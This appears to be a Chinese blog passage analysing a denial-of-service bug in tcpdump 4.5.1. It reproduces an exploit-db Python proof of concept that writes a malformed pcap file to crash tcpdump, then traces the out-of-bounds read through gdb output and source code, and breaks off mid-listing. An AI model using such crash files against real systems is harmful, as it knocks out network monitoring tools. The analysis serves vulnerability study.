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<h1 id="TCPDUMP-4-5-1-拒绝服务攻击漏洞分析"><a href="#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" class="headerlink" title="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析"></a>TCPDUMP 4.5.1 拒绝服务攻击漏洞分析</h1><h2 id="Tcpdump介绍"><a href="#Tcpdump介绍" class="headerlink" title="Tcpdump介绍"></a>Tcpdump介绍</h2><ol>
<li>tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap.</li>
<li>tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。</li>
<li>也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。</li>
</ol>
<h2 id="分析环境"><a href="#分析环境" class="headerlink" title="分析环境"></a>分析环境</h2><ul>
<li>Ubuntu 16.04.4 LTS i686</li>
<li>tcpdump 4.5.1</li>
<li>gdb with peda</li>
</ul>
<h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。</p>
<h3 id="编译安装tcpdump"><a href="#编译安装tcpdump" class="headerlink" title="编译安装tcpdump"></a>编译安装tcpdump</h3><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> <span class="comment"># apt-get install libpcap-dev</span></span><br><span class="line"><span class="number">2.</span> <span class="comment"># dpkg -l libpcap-dev</span></span><br><span class="line"><span class="number">3.</span> <span class="comment"># wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">4.</span> <span class="comment"># tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span></span><br><span class="line"><span class="number">5.</span> <span class="comment"># cd tcpdump-4.5.1/</span></span><br><span class="line"><span class="number">6.</span> <span class="comment"># ./configure</span></span><br><span class="line"><span class="number">7.</span> <span class="comment"># make</span></span><br><span class="line"><span class="number">8.</span> <span class="comment"># make install</span></span><br><span class="line"><span class="number">9.</span> <span class="comment"># tcpdump –-version</span></span><br><span class="line"> tcpdump <span class="built_in">version</span> <span class="number">4.5</span><span class="number">.1</span></span><br><span class="line"> libpcap <span class="built_in">version</span> <span class="number">1.7</span><span class="number">.4</span></span><br></pre></td></tr></table></figure>
<h3 id="生成payload（来自exploit-db-payload）"><a href="#生成payload（来自exploit-db-payload）" class="headerlink" title="生成payload（来自exploit-db payload）"></a>生成payload（来自exploit-db payload）</h3><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line"> command = 'tcpdump -r crash'</span><br><span class="line"> buffer = '<span class="symbol">\x</span>d4<span class="symbol">\x</span>c3<span class="symbol">\x</span>b2<span class="symbol">\x</span>a1<span class="symbol">\x</span>02<span class="symbol">\x</span>00<span class="symbol">\x</span>04<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>f5<span class="symbol">\x</span>ff'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00I<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>e6<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>80<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>08<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00&lt;<span class="symbol">\x</span>9c7@<span class="symbol">\x</span>ff<span class="symbol">\x</span>00'</span><br><span class="line"> buffer += '<span class="symbol">\x</span>06<span class="symbol">\x</span>a0r<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>7f<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>ec<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>e0<span class="symbol">\x</span>1a'</span><br><span class="line"> buffer += "<span class="symbol">\x</span>00<span class="symbol">\x</span>17g+++++++<span class="symbol">\x</span>85<span class="symbol">\x</span>c9<span class="symbol">\x</span>03<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>10<span class="symbol">\x</span>a0&amp;<span class="symbol">\x</span>80<span class="symbol">\x</span>18<span class="symbol">\'</span>"</span><br><span class="line"> buffer += "xfe$<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>00<span class="symbol">\x</span>00@<span class="symbol">\x</span>0c<span class="symbol">\x</span>04<span class="symbol">\x</span>02<span class="symbol">\x</span>08<span class="symbol">\n</span>', '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00"</span><br><span class="line"> buffer += '<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>00<span class="symbol">\x</span>01<span class="symbol">\x</span>03<span class="symbol">\x</span>03<span class="symbol">\x</span>04'</span><br><span class="line"> with open('crash', 'w+b') as file:</span><br><span class="line"> file.write(buffer)</span><br><span class="line"> try:</span><br><span class="line"> call(split(command))</span><br><span class="line"> print("Exploit successful! ")</span><br><span class="line"> except:</span><br><span class="line"> print("Error: Something has gone wrong!")</span><br><span class="line">def main():</span><br><span class="line"> print("Author: David Silveiro ")</span><br><span class="line"> print(" tcpdump version 4.5.1 Access Violation Crash ")</span><br><span class="line"> sleep(2)</span><br><span class="line"> crash()</span><br><span class="line">if __name__ == "__main__":</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<h2 id="崩溃分析"><a href="#崩溃分析" class="headerlink" title="崩溃分析"></a>崩溃分析</h2><h3 id="pcap包格式"><a href="#pcap包格式" class="headerlink" title="pcap包格式"></a>pcap包格式</h3><p>首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。<br><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_file_header &#123;</span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>magic<span class="comment">;</span></span><br><span class="line"> u_short version_major<span class="comment">;</span></span><br><span class="line"> u_short version_minor<span class="comment">;</span></span><br><span class="line"> <span class="keyword">bpf_int32 </span>thiszone<span class="comment">; /* gmt to local correction */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>sigfigs<span class="comment">; /* accuracy of timestamps */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>snaplen<span class="comment">; /* max length saved portion of each pkt */</span></span><br><span class="line"> <span class="keyword">bpf_u_int32 </span>linktype<span class="comment">; /* data link type (LINKTYPE_*) */</span></span><br><span class="line">&#125;<span class="comment">;</span></span><br></pre></td></tr></table></figure></p>
<p>看一下各字段的含义：<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> magic： <span class="number">4</span>字节 pcap文件标识 目前为“d4 c3 b2 a1”</span><br><span class="line"> major： <span class="number">2</span>字节 主版本号 #define PCAP_VERSION_MAJOR <span class="number">2</span></span><br><span class="line"> minor： <span class="number">2</span>字节 次版本号 #define PCAP_VERSION_MINOR <span class="number">4</span></span><br><span class="line"> thiszone：<span class="number">4</span>字节 时区修正 并未使用，目前全为<span class="number">0</span></span><br><span class="line"> sigfigs： <span class="number">4</span>字节 精确时间戳 并未使用，目前全为<span class="number">0</span></span><br><span class="line"> snaplen： <span class="number">4</span>字节 抓包最大长度 如果要抓全，设为<span class="number">0x0000ffff</span>（<span class="number">65535</span>），</span><br><span class="line"> tcpdump -s <span class="number">0</span>就是设置这个参数，缺省为<span class="number">68</span>字节</span><br><span class="line"> linktype：<span class="number">4</span>字节 链路类型 一般都是<span class="number">1</span>：ethernet</span><br><span class="line"></span><br><span class="line">struct pcap_pkthdr &#123;</span><br><span class="line"> struct timeval ts; <span class="comment">/* time stamp */</span></span><br><span class="line"> bpf_u_int32 caplen; <span class="comment">/* length of portion present */</span></span><br><span class="line"> bpf_u_int32 len; <span class="comment">/* length this packet (off wire) */</span></span><br><span class="line">&#125;;</span><br><span class="line">struct timeval &#123;</span><br><span class="line"> long tv_sec; <span class="comment">/* seconds (XXX should be time_t) */</span></span><br><span class="line"> suseconds_t tv_usec; <span class="comment">/* and microseconds */</span></span><br><span class="line">&#125;;</span><br><span class="line"> ts： <span class="number">8</span>字节 抓包时间 <span class="number">4</span>字节表示秒数，<span class="number">4</span>字节表示微秒数</span><br><span class="line"> caplen：<span class="number">4</span>字节 保存下来的包长度（最多是snaplen，比如<span class="number">68</span>字节）</span><br><span class="line"> len： <span class="number">4</span>字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大</span><br></pre></td></tr></table></figure></p>
<p>其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37<br>这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。</p>
<h3 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h3><p>首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1. </span>Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line"><span class="bullet">2. </span>[----------------------------------registers-----------------------------------]</span><br><span class="line"><span class="bullet">3. </span>EAX: 0x1</span><br><span class="line"><span class="bullet">4. </span>EBX: 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">5. </span>ECX: 0x2e ('.')</span><br><span class="line"><span class="bullet">6. </span>EDX: 0x0</span><br><span class="line"><span class="bullet">7. </span>ESI: 0xbfffe201 ('.' <span class="xml"><span class="tag">&lt;<span class="name">repeats</span> <span class="attr">14</span> <span class="attr">times</span>&gt;</span></span>)</span><br><span class="line"><span class="bullet">8. </span>EDI: 0xbfffe1db --&gt; 0x30303000 ('')</span><br><span class="line"><span class="bullet">9. </span>EBP: 0x10621</span><br><span class="line"><span class="bullet">10. </span>ESP: 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">11. </span>EIP: 0x8053c6a (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span><br><span class="line"><span class="bullet">12. </span>EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line"><span class="bullet">13. </span>[-------------------------------------code-------------------------------------]</span><br><span class="line"><span class="bullet">14. </span>0x8053c5d <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+93</span>&gt;</span></span>: je 0x8053d40 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+320</span>&gt;</span></span></span><br><span class="line"><span class="bullet">15. </span>0x8053c63 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+99</span>&gt;</span></span>: mov ebx,DWORD PTR [esp+0x18]</span><br><span class="line"><span class="bullet">16. </span>0x8053c67 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+103</span>&gt;</span></span>: sub esp,0x4</span><br><span class="line"><span class="bullet">17. </span>=&gt; 0x8053c6a <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+106</span>&gt;</span></span>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span><br><span class="line"><span class="bullet">18. </span>0x8053c6f <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+111</span>&gt;</span></span>: movzx ecx,BYTE PTR [ebx+ebp*2]</span><br><span class="line"><span class="bullet">19. </span>0x8053c73 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+115</span>&gt;</span></span>: push edx</span><br><span class="line"><span class="bullet">20. </span>0x8053c74 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+116</span>&gt;</span></span>: mov ebx,edx</span><br><span class="line"><span class="bullet">21. </span>0x8053c76 <span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+118</span>&gt;</span></span>: mov DWORD PTR [esp+0x18],edx</span><br><span class="line"><span class="bullet">22. </span>[------------------------------------stack-------------------------------------]</span><br><span class="line"><span class="bullet">23. </span>0000| 0xbfffe1ac --&gt; 0x8053caa (<span class="xml"><span class="tag">&lt;<span class="name">hex_and_ascii_print_with_offset+170</span>&gt;</span></span>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line"><span class="bullet">24. </span>0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c</span><br><span class="line"><span class="bullet">25. </span>0008| 0xbfffe1b4 --&gt; 0x1</span><br><span class="line"><span class="bullet">26. </span>0012| 0xbfffe1b8 --&gt; 0x2f5967 ('gY/')</span><br><span class="line"><span class="bullet">27. </span>0016| 0xbfffe1bc --&gt; 0x0</span><br><span class="line"><span class="bullet">28. </span>0020| 0xbfffe1c0 --&gt; 0x0</span><br><span class="line"><span class="bullet">29. </span>0024| 0xbfffe1c4 --&gt; 0x7ffffff9</span><br><span class="line"><span class="bullet">30. </span>0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x0</span><br><span class="line"><span class="bullet">31. </span>[------------------------------------------------------------------------------]</span><br><span class="line"><span class="bullet">32. </span>Legend: code, data, rodata, value</span><br><span class="line"><span class="bullet">33. </span>Stopped reason: SIGSEGV</span><br><span class="line"><span class="bullet">34. </span>hex<span class="emphasis">_and_</span>ascii<span class="emphasis">_print_</span>with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <span class="xml"><span class="tag">&lt;<span class="name">error:</span> <span class="attr">Cannot</span> <span class="attr">access</span> <span class="attr">memory</span> <span class="attr">at</span> <span class="attr">address</span> <span class="attr">0x8204000</span>&gt;</span></span>,</span><br><span class="line"><span class="bullet">35. </span>length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line"><span class="bullet">36. </span>91 s2 = *cp++;</span><br></pre></td></tr></table></figure></p>
<p>从崩溃信息来看，出错位置为s2 = <em>cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp</em>2+0x1]的内容，可能是越界读取造成的崩溃。<br>再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。<br>我们通过bt回溯一下调用情况。<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1. gdb-peda$ bt</span><br><span class="line">2. #0 hex_and_ascii_print_with_offset (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x8204000 &lt;error: Cannot access memory at<span class="built_in"> address </span>0x8204000&gt;,</span><br><span class="line">3. <span class="attribute">length</span>=0xfffffff3, <span class="attribute">oset</span>=0x20c40) at ./print-ascii.c:91</span><br><span class="line">4. #1 0x08053e26 <span class="keyword">in</span> hex_and_ascii_print (<span class="attribute">ident</span>=0x80c04af <span class="string">"\n\t"</span>, <span class="attribute">cp</span>=0x81e33bd <span class="string">""</span>, <span class="attribute">length</span>=0xfffffff3) at ./print-ascii.c:127</span><br><span class="line">5. #2 0x08051e7d <span class="keyword">in</span> ieee802_15_4_if_print (<span class="attribute">ndo</span>=0x81e1320 &lt;Gndo&gt;, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">p</span>=&lt;optimized out&gt;) at ./print-802_15_4.c:180</span><br><span class="line">6. #3 0x080a0aea <span class="keyword">in</span> print_packet (<span class="attribute">user</span>=0xbfffe4dc <span class="string">" \023\036\b\300\034\005\b\001"</span>, <span class="attribute">h</span>=0xbfffe40c, <span class="attribute">sp</span>=0x81e33a8 <span class="string">"@\377"</span>)</span><br><span class="line">7. at ./tcpdump.c:1950</span><br><span class="line">8. #4 0xb7fa3468 <span class="keyword">in</span> ?? () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">9. #5 0xb7f940e3 <span class="keyword">in</span> pcap_loop () <span class="keyword">from</span> /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">10. #6 0x0804b3dd <span class="keyword">in</span> main (<span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4) at ./tcpdump.c:1569</span><br><span class="line">11. #7 0xb7de9637 <span class="keyword">in</span> __libc_start_main (<span class="attribute">main</span>=0x804a4c0 &lt;main&gt;, <span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4, <span class="attribute">init</span>=0x80b1230 &lt;__libc_csu_init&gt;,</span><br><span class="line">12. <span class="attribute">fini</span>=0x80b1290 &lt;__libc_csu_fini&gt;, <span class="attribute">rtld_fini</span>=0xb7fea880 &lt;_dl_fini&gt;, <span class="attribute">stack_end</span>=0xbffff6bc) at <span class="built_in">..</span>/csu/libc-start.c:291</span><br><span class="line">13. #8 0x0804c245 <span class="keyword">in</span> _start ()</span><br></pre></td></tr></table></figure></p>
<p>函数调用流程<br><figure class="highlight 1c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop</span><br><span class="line"> <span class="string">|----print_packet</span></span><br><span class="line"> <span class="string">|-----hex_and_ascii_print</span></span><br><span class="line"> <span class="string">|-------- hex_and_ascii_print_with_offset</span></span><br></pre></td></tr></table></figure></p>
<p>由此可见，从main函数开始了一连串函数调用，git源码下来看看。<br>tcpdump.c找到pcap_loop调用<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> do &#123;</span><br><span class="line"><span class="number">2.</span> status = pcap_loop(pd, cnt, callback, pcap_userdata);</span><br><span class="line"><span class="number">3.</span> if (WFileName == NULL) &#123;</span><br><span class="line"><span class="number">4.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">5. * We're printing packets. Flush the printed output,</span></span><br><span class="line"><span class="comment">6. * so it doesn't get intermingled with error output.</span></span><br><span class="line"><span class="comment">7. */</span></span><br><span class="line"><span class="number">8.</span> if (status == <span class="number">-2</span>) &#123;</span><br><span class="line"><span class="number">9.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">10. * We got interrupted, so perhaps we didn't</span></span><br><span class="line"><span class="comment">11. * manage to finish a line we were printing.</span></span><br><span class="line"><span class="comment">12. * Print an extra newline, just in case.</span></span><br><span class="line"><span class="comment">13. */</span></span><br><span class="line"><span class="number">14.</span> putchar('n');</span><br><span class="line"><span class="number">15.</span> &#125;</span><br><span class="line"><span class="number">16.</span> (void)fflush(stdout);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br></pre></td></tr></table></figure></p>
<p>设置断点之后查看一下该函数的执行结果</p>
<p>pcap_loop通过callback指向print_packet,来看一下它的源码<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> static void</span><br><span class="line"><span class="number">2.</span> print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span><br><span class="line"><span class="number">3.</span> &#123;</span><br><span class="line"><span class="number">4.</span> struct print_info *print_info;</span><br><span class="line"><span class="number">5.</span> u_int hdrlen;</span><br><span class="line"><span class="number">6.</span> ++packets_captured;</span><br><span class="line"><span class="number">7.</span> ++infodelay;</span><br><span class="line"><span class="number">8.</span> ts_print(&amp;h-&gt;ts);</span><br><span class="line"><span class="number">9.</span> print_info = (struct print_info *)user;</span><br><span class="line"><span class="number">10.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">11. * Some printers want to check that they're not walking off the</span></span><br><span class="line"><span class="comment">12. * end of the packet.</span></span><br><span class="line"><span class="comment">13. * Rather than pass it all the way down, we set this global.</span></span><br><span class="line"><span class="comment">14. */</span></span><br><span class="line"><span class="number">15.</span> snapend = sp + h-&gt;caplen;</span><br><span class="line"><span class="number">16.</span> if(print_info-&gt;ndo_type) &#123;</span><br><span class="line"><span class="number">17.</span> hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====</span><br><span class="line"><span class="number">18.</span> &#125; else &#123;</span><br><span class="line"><span class="number">19.</span> hdrlen = (*print_info-&gt;p.printer)(h, sp);</span><br><span class="line"><span class="number">20.</span> &#125;</span><br><span class="line"><span class="number">21.</span> putchar('n');</span><br><span class="line"><span class="number">22.</span> --infodelay;</span><br><span class="line"><span class="number">23.</span> if (infoprint)</span><br><span class="line"><span class="number">24.</span> info(<span class="number">0</span>);&#125;</span><br></pre></td></tr></table></figure></p>
<p>同样设置断点看该函数是如何调用执行的</p>
<p>这是我们可以根据call的信息，计算出调用的函数名</p>
<p>其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">25.</span> u_int</span><br><span class="line"><span class="number">26.</span> ieee802_15_4_if_print(struct netdissect_options *ndo,</span><br><span class="line"><span class="number">27.</span> <span class="keyword">const</span> struct pcap_pkthdr *h, <span class="keyword">const</span> u_char *p)</span><br><span class="line"><span class="number">28.</span> &#123;</span><br><span class="line"><span class="number">29.</span> <span class="built_in">printf</span>(<span class="string">"address : %x\n"</span>,p);</span><br><span class="line"><span class="number">30.</span> u_int caplen = h-&gt;caplen; <span class="comment">//传入的caplen，赋值给无符号整形变量caplen,且该值为8</span></span><br><span class="line"><span class="number">31.</span> <span class="keyword">int</span> hdrlen;</span><br><span class="line"><span class="number">32.</span> <span class="keyword">u_int16_t</span> fc;</span><br><span class="line"><span class="number">33.</span> <span class="keyword">u_int8_t</span> seq;</span><br><span class="line"><span class="number">34.</span> <span class="keyword">if</span> (caplen &lt; <span class="number">3</span>) &#123; <span class="comment">//不满足</span></span><br><span class="line"><span class="number">35.</span> 